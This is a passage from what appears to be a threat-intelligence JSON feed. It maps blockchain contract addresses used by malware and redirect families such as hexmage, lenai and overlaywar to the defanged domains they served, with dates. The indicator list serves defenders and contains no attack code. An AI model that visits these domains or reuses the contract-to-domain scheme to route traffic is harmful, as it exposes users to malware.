Sepolia","family":"hexmage","address":"0x515cfebd53a860c311d583b74a8b02a78a7884e0","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"shadowrunevail[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["shadowrunevail[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x51e3f029209c210fa8946c219644394aae71224d","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"frozennebularhy[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["frozennebularhy[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x52022366d66464a4d34c3a6ebfa3b47817d6d0b1","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"orchardvector[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["orchardvector[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x5a155a3f01fa60c3fa0177022ba05fcc6a313a4d","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"shadowemberstrike[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["shadowemberstrike[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x5a3589462b41fa8cf91ac2c7773a285d9c790548","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"velnoderic[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["velnoderic[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x5ea589954314fe8d5ecb509b35d77a389912b42f","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"voidravenstorm[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["voidravenstorm[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x61b3e0681f6485e4e85e5ee981757d8b12ec414f","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"stormvenomforge[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["stormvenomforge[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x8ac95e2af13326ddbfd53b155923745751cd7d0a","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"mossparlor[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["mossparlor[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xa4d63e7825d5010a1aa77f55bc2a45cecf2b028e","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"hiddenmorrow[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["hiddenmorrow[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xa923654195be9e83144032d8dfc83cd5dfc1f981","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"morrowtheory[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["morrowtheory[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xaafb11bf4199f7499b7f4dbb3d566f2bc13a6535","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ghostharvest[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["ghostharvest[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xaed4fb9a79fbf3106f25a7986ad984e8a21a8795","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"zaevoderix[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["zaevoderix[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xbcccb3909b0eec36211ddafb3ccdc6c2a537bea1","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"ivoryfable[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["ivoryfable[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xd6e035c294b3b87c5f86ccec3f62dc3cad8a88e9","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"hollowsentinel[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["hollowsentinel[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xdfcef1c30f453d206fa32c704a0fd4d1fee1e6f7","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"mildrocket[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["mildrocket[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xeaa29047855f6761ad7cb95eda01145acd658b2f","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"silvermorrow[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["silvermorrow[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xec911c2e254bb62fbdc524841b154adbfa8869ef","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"voidhunterkeep[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["voidhunterkeep[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xedda0630ea1db3662222a413eb034c9cffa756d1","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"quietthistle[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["quietthistle[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0xee572bcc785594e06eacea2e6ef638e087d8fac5","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"cedarfable[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["cedarfable[.]com"]},{"chain":"Polygon","family":"lenai","address":"0x0856780A9aC5169592B693B49E87805A64C1D446","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"abcsgftr[.]cc"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["abcsgftr[.]cc"]},{"chain":"Polygon","family":"lenai","address":"0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"mon-blanc-02[.]cfd"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["mon-blanc-02[.]cfd"]},{"chain":"Polygon","family":"lenai","address":"0x0f935e2c823f18927e515b70a741312d7db9d79a","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-24","destination":"interseqf[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-24","lastChanged":"2026-09-24","destinations":["interseqf[.]com"]},{"chain":"Polygon","family":"lenai","address":"0x289FD372FC932A5C68846b97E249A4e4299f4f48","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"softify[.]lat"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-28","destination":"script[.]google[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-28","destination":"softify[.]space"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-28","lastChanged":"2026-11-04","destinations":["softify[.]lat"]},{"chain":"Polygon","family":"lenai","address":"0x3445d5Be21e0131C3eeee2B3Cc942abf76dF1dE2","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"monitoringsites[.]shop"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-03","lastChanged":"2026-11-03","destinations":["monitoringsites[.]shop"]},{"chain":"Polygon","family":"lenai","address":"0x4cf2d3bfc2e9dcf9dfd88493eab5b1a3e6b247a6","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"verification[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["verification[.]beer"]},{"chain":"Polygon","family":"lenai","address":"0x74db0d5d9b5be32d8ec82620f5181e148660f7db","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-07","destination":"megeve[.]beer"},{"lastSeen":"2026-10-07","firstSeen":"2026-09-01","destination":"verification[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-10-07","destinations":["megeve[.]beer"]},{"chain":"Polygon","family":"lenai","address":"0x78859088d429c2b3d0d999f01810285bd15f4b63","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-05","destination":"ilovemonney[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-05","lastChanged":"2026-10-05","destinations":["ilovemonney[.]com"]},{"chain":"Polygon","family":"lenai","address":"0x83833C5D676cA06E941A32310AE67D0890F657eE","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"makeverizyjar[.]info"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["makeverizyjar[.]info"]},{"chain":"Polygon","family":"lenai","address":"0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"ncheck-brows[.]beer"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-27","destination":"codes[.]caffe-img[.]com"},{"lastSeen":"2026-10-27","firstSeen":"2026-10-25","destination":"id-verfied[.]boats"},{"lastSeen":"2026-10-25","firstSeen":"2026-10-21","destination":"jscdncloude[.]beer"},{"lastSeen":"2026-10-21","firstSeen":"2026-10-20","destination":"cloud-browse[.]codes"},{"lastSeen":"2026-10-20","firstSeen":"2026-10-18","destination":"verifing-server[.]codes"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-17","destination":"code[.]nvc-info[.]beer"},{"lastSeen":"2026-10-17","firstSeen":"2026-10-16","destination":"browse-id-enter[.]codes"},{"lastSeen":"2026-10-16","firstSeen":"2026-10-14","destination":"browse-codes-enter[.]beer"},{"lastSeen":"2026-10-14","firstSeen":"2026-10-13","destination":"browse-veriid[.]beer"},{"lastSeen":"2026-10-13","firstSeen":"2026-10-10","destination":"brows-check[.]codes"},{"lastSeen":"2026-10-10","firstSeen":"2026-10-08","destination":"checkyoubrowse[.]codes"},{"lastSeen":"2026-10-08","firstSeen":"2026-10-04","destination":"idcheckbrowese[.]codes"},{"lastSeen":"2026-10-04","firstSeen":"2026-10-01","destination":"browseid[.]codes"},{"lastSeen":"2026-10-01","firstSeen":"2026-09-27","destination":"entry-verifed-cdn[.]codes"},{"lastSeen":"2026-09-27","firstSeen":"2026-09-24","destination":"idcool[.]codes"},{"lastSeen":"2026-09-24","firstSeen":"2026-09-21","destination":"entry-code-cdn[.]codes"},{"lastSeen":"2026-09-21","firstSeen":"2026-09-19","destination":"wmicconfidance[.]info"},{"lastSeen":"2026-09-19","firstSeen":"2026-09-15","destination":"aleverifocation[.]beer"},{"lastSeen":"2026-09-15","firstSeen":"2026-09-04","destination":"fingerprint-veri[.]info"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-04","lastChanged":"2026-10-29","destinations":["ncheck-brows[.]beer"]},{"chain":"Polygon","family":"lenai","address":"0xBAB25ceD421128C427ad19914473566633894dd5","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-03","destination":"lovezramexar[.]info"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-03","lastChanged":"2026-09-03","destinations":["lovezramexar[.]info"]},{"chain":"Polygon","family":"lenai","address":"0xa22aB39d7362DBb1AaACC4e597094704DAbDBfaC","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"yaebalciganovvjopu[.]org"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-01","destination":"efreitorher[.]org"},{"lastSeen":"2026-11-01","firstSeen":"2026-10-31","destination":"pakistanskimalchik[.]org"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-29","destination":"ciganshina[.]org"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-23","destination":"nikogdatakonebilo[.]cc"},{"lastSeen":"2026-10-23","firstSeen":"2026-10-19","destination":"ktoktotam[.]cc"},{"lastSeen":"2026-10-19","firstSeen":"2026-10-18","destination":"captcha[.]tonnels[.]me"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-18","lastChanged":"2026-11-03","destinations":["yaebalciganovvjopu[.]org"]},{"chain":"Polygon","family":"lenai","address":"0xbb9b2df9DCBd487212052DA0974d1A2E388322B0","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"thu-ipad-03[.]cfd"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["thu-ipad-03[.]cfd"]},{"chain":"Polygon","family":"lenai","address":"0xfD75a8F503be4851E11a52b645De1f017492A6b0","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cloudeccentric[.]cc"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cloudeccentric[.]cc"]},{"chain":"Polygon","family":"lenai","address":"0xff9e792a3015a79340cdec1847ab0aa10560422a","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-28","destination":"interseq[.]at"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-28","lastChanged":"2026-09-28","destinations":["interseq[.]at"]},{"chain":"Ethereum Sepolia","family":"lenai","address":"0xf3450B57ab732864E4a04b3699E42D1b8a426970","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"holidayvrbo[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["holidayvrbo[.]top"]},{"chain":"Ethereum","family":"linkhiding","address":"0x8b51674f44a1aa39ad5b3a365da1d667e54af292","chainId":1,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"placeholderlink[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["placeholderlink[.]com"]},{"chain":"Base","family":"nochain","address":"0x58460d0b3d4d6b03761c89120393c0c676676496","chainId":8453,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"timelevel12[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ultraspeed[.]pro"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["timelevel12[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0x161bc15e5fc5544aa52f67e9bce1316b76855e25","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-13","destination":"ingestlabapp[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-13","destination":"telemetryspace[.]com"},{"lastSeen":"2026-10-13","firstSeen":"2026-10-09","destination":"apiviewlab[.]com"},{"lastSeen":"2026-10-13","firstSeen":"2026-10-09","destination":"logspipe[.]com"},{"lastSeen":"2026-10-09","firstSeen":"2026-10-05","destination":"profilebeamonline[.]com"},{"lastSeen":"2026-10-09","firstSeen":"2026-10-05","destination":"sdkrail[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-05","lastChanged":"2026-10-13","destinations":["ingestlabapp[.]com","telemetryspace[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0x1BA37423ca3bb5F7836d2F3Fb00B8b0D7761c2CA","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-14","destination":"cloudredirect[.]online"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-14","destination":"webpagesafe[.]online"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-14","lastChanged":"2026-09-14","destinations":["cloudredirect[.]online","webpagesafe[.]online"]},{"chain":"Polygon","family":"overlaywar","address":"0x31be3fbbbc539191f4b597ddddad1177363b741d","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"updateocean[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["updateocean[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0x352546bb99c9f0016af72ed658b13467667e1498","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-03","destination":"redirectwebpage[.]online"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-03","destination":"unavailablerobot[.]online"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-03","lastChanged":"2026-09-03","destinations":["redirectwebpage[.]online","unavailablerobot[.]online"]},{"chain":"Polygon","family":"overlaywar","address":"0x4599008ac76f2e4b655499b5d2bd61758ec7eca4","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-13","destination":"cloudyredirect[.]online"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-13","destination":"webpageclouds[.]online"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-13","lastChanged":"2026-10-13","destinations":["cloudyredirect[.]online","webpageclouds[.]online"]},{"chain":"Polygon","family":"overlaywar","address":"0x474d0577972b8f2bac6e5f43dac67bddc3061266","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-13","destination":"heartbeatyardpoint[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-13","destination":"ingestwebneo[.]com"},{"lastSeen":"2026-10-13","firstSeen":"2026-10-05","destination":"adserverworkshub[.]com"},{"lastSeen":"2026-10-13","firstSeen":"2026-10-05","destination":"monitoropsworks[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-05","lastChanged":"2026-10-13","destinations":["heartbeatyardpoint[.]com","ingestwebneo[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0x4b00eadff1553ea2773b9fb2c29d987ae397863b","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"errorsyshub[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"insightpingbot[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"licensesyqlink[.]net"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["errorsyshub[.]com","insightpingbot[.]com","licensesyqlink[.]net"]},{"chain":"Polygon","family":"overlaywar","address":"0x5e03dab7c4e71e9f6efb0e7a156f4e663b0e95c6","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"admetricslab[.]org"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"soft-update[.]dev"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["admetricslab[.]org","soft-update[.]dev"]},{"chain":"Polygon","family":"overlaywar","address":"0x62ee1bde79e3cf8d2299f07d8e58ca58f24727af","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"benotrobot[.]online"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cloudyrobots[.]online"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["benotrobot[.]online","cloudyrobots[.]online"]},{"chain":"Polygon","family":"overlaywar","address":"0x6e65583c3c3cc0063215cb93de137e2da1513bfd","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"infodatalis[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"telemetryloop[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ukwearstore[.]org"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["infodatalis[.]com","telemetryloop[.]net","ukwearstore[.]org"]},{"chain":"Polygon","family":"overlaywar","address":"0x8ecb2d418199994b8132de48645bd9e5178342c4","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"bestcloudservicesupport[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"bestguardservicesupport[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"bigdealjournal[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["bestcloudservicesupport[.]com","bestguardservicesupport[.]com","bigdealjournal[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0x91639826046fd209ef96c76cf9089e6dde2d408a","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-12","destination":"authshipup[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-12","destination":"runtimerailbit[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-12","destination":"servicestatlab[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-04","destination":"imgonehq[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-04","destination":"ssobeampro[.]net"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-04","destination":"webfeedonline[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-04","lastChanged":"2026-09-12","destinations":["authshipup[.]net","runtimerailbit[.]com","servicestatlab[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0xa1cb583820efe60c840498aada3f741ab6869cbe","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"assetwaveapp[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"bannerware[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"trackbaseneo[.]net"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["assetwaveapp[.]com","bannerware[.]net","trackbaseneo[.]net"]},{"chain":"Polygon","family":"overlaywar","address":"0xbf208ee70de2b68debffaa740e190ed76fbe3b4c","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"casinodas[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"mathandchessss[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"sex-reputation[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["casinodas[.]com","mathandchessss[.]com","sex-reputation[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0xc1c992a4f243F59Db6c5B6e4Cac9CBc27dC4011A","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"humanwebpage[.]online"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"sunnycloud[.]online"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-03","lastChanged":"2026-11-03","destinations":["humanwebpage[.]online","sunnycloud[.]online"]},{"chain":"Polygon","family":"overlaywar","address":"0xc35b4bcd70b17a6347f6f139ced95daf62dceb08","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"benotrobot[.]online"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cloudyrobots[.]online"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["benotrobot[.]online","cloudyrobots[.]online"]},{"chain":"Polygon","family":"overlaywar","address":"0xcf088bd3c86602a7a1e31d5fdb8a71652596db49","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"fish-planet[.]online"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"online-park[.]online"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["fish-planet[.]online","online-park[.]online"]},{"chain":"Polygon","family":"overlaywar","address":"0xeE887090781621b444f5ccf887127D6e128B4Ce3","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-22","destination":"matrixs1[.]eastus[.]cloudapp[.]azure[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-22","destination":"softix[.]eastus[.]cloudapp[.]azure[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-22","lastChanged":"2026-10-22","destinations":["matrixs1[.]eastus[.]cloudapp[.]azure[.]com","softix[.]eastus[.]cloudapp[.]azure[.]com"]},{"chain":"Polygon","family":"overlaywar","address":"0xf5966808a9ECbdb8794F568922809C52b0Fd2446","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"besthappyfamily[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"goodpersonofourcentury[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"waysmakeyourlifebetter[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["besthappyfamily[.]com","goodpersonofourcentury[.]com","waysmakeyourlifebetter[.]com"]},{"chain":"Polygon","family":"polytds","address":"0x8e02b8245a416f7ea713f559c674d99fa2f979f9","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"lovecute3ssss[.]top"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-14","destination":"lovecutessss[.]top"},{"lastSeen":"2026-10-14","firstSeen":"2026-10-11","destination":"serelle[.]click"},{"lastSeen":"2026-10-11","firstSeen":"2026-10-07","destination":"alo[.]ua"},{"lastSeen":"2026-10-07","firstSeen":"2026-10-06","destination":"wettenboxen[.]com"},{"lastSeen":"2026-10-06","firstSeen":"2026-10-05","destination":"amberverse[.]online"},{"lastSeen":"2026-10-05","firstSeen":"2026-10-04","destination":"lumavelles[.]online"},{"lastSeen":"2026-10-04","firstSeen":"2026-10-04","destination":"solavelle[.]online"},{"lastSeen":"2026-10-04","firstSeen":"2026-10-03","destination":"luniva[.]blog"},{"lastSeen":"2026-10-03","firstSeen":"2026-10-02","destination":"arlune[.]blog"},{"lastSeen":"2026-10-02","firstSeen":"2026-10-01","destination":"onikirayume[.]shop"},{"lastSeen":"2026-10-01","firstSeen":"2026-09-30","destination":"yumekazeko[.]shop"},{"lastSeen":"2026-09-30","firstSeen":"2026-09-29","destination":"rada24ukraine[.]top"},{"lastSeen":"2026-09-29","firstSeen":"2026-09-27","destination":"spectre[.]pp[.]ua"},{"lastSeen":"2026-09-27","firstSeen":"2026-09-26","destination":"lermontfile[.]online"},{"lastSeen":"2026-09-26","firstSeen":"2026-09-23","destination":"esputnik[.]top"},{"lastSeen":"2026-09-23","firstSeen":"2026-09-22","destination":"uasputn[.]com"},{"lastSeen":"2026-09-22","firstSeen":"2026-09-20","destination":"gerchikbase[.]pro"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-20","lastChanged":"2026-10-29","destinations":["lovecute3ssss[.]top"]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0x3d4aa83fE2AcEb83A40aE09F03aDdd560aBb5a85","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":["0xb72158bb6642c92ef042aaa681e1ffb8b738ef65"],"firstSeen":"2026-10-11","lastChanged":"2026-10-11","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0x6874572836dAd9512c308e4831ec35e60a21794B","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":["0x79a5dd382ae91aac54393d583816d9ef563d5f73"],"firstSeen":"2026-10-11","lastChanged":"2026-10-11","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0x79A5DD382aE91aAc54393d583816D9Ef563D5f73","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cdn[.]api-middle-connect[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cdn[.]api-middle-connect[.]com"]},{"chain":"BNB Smart Chain 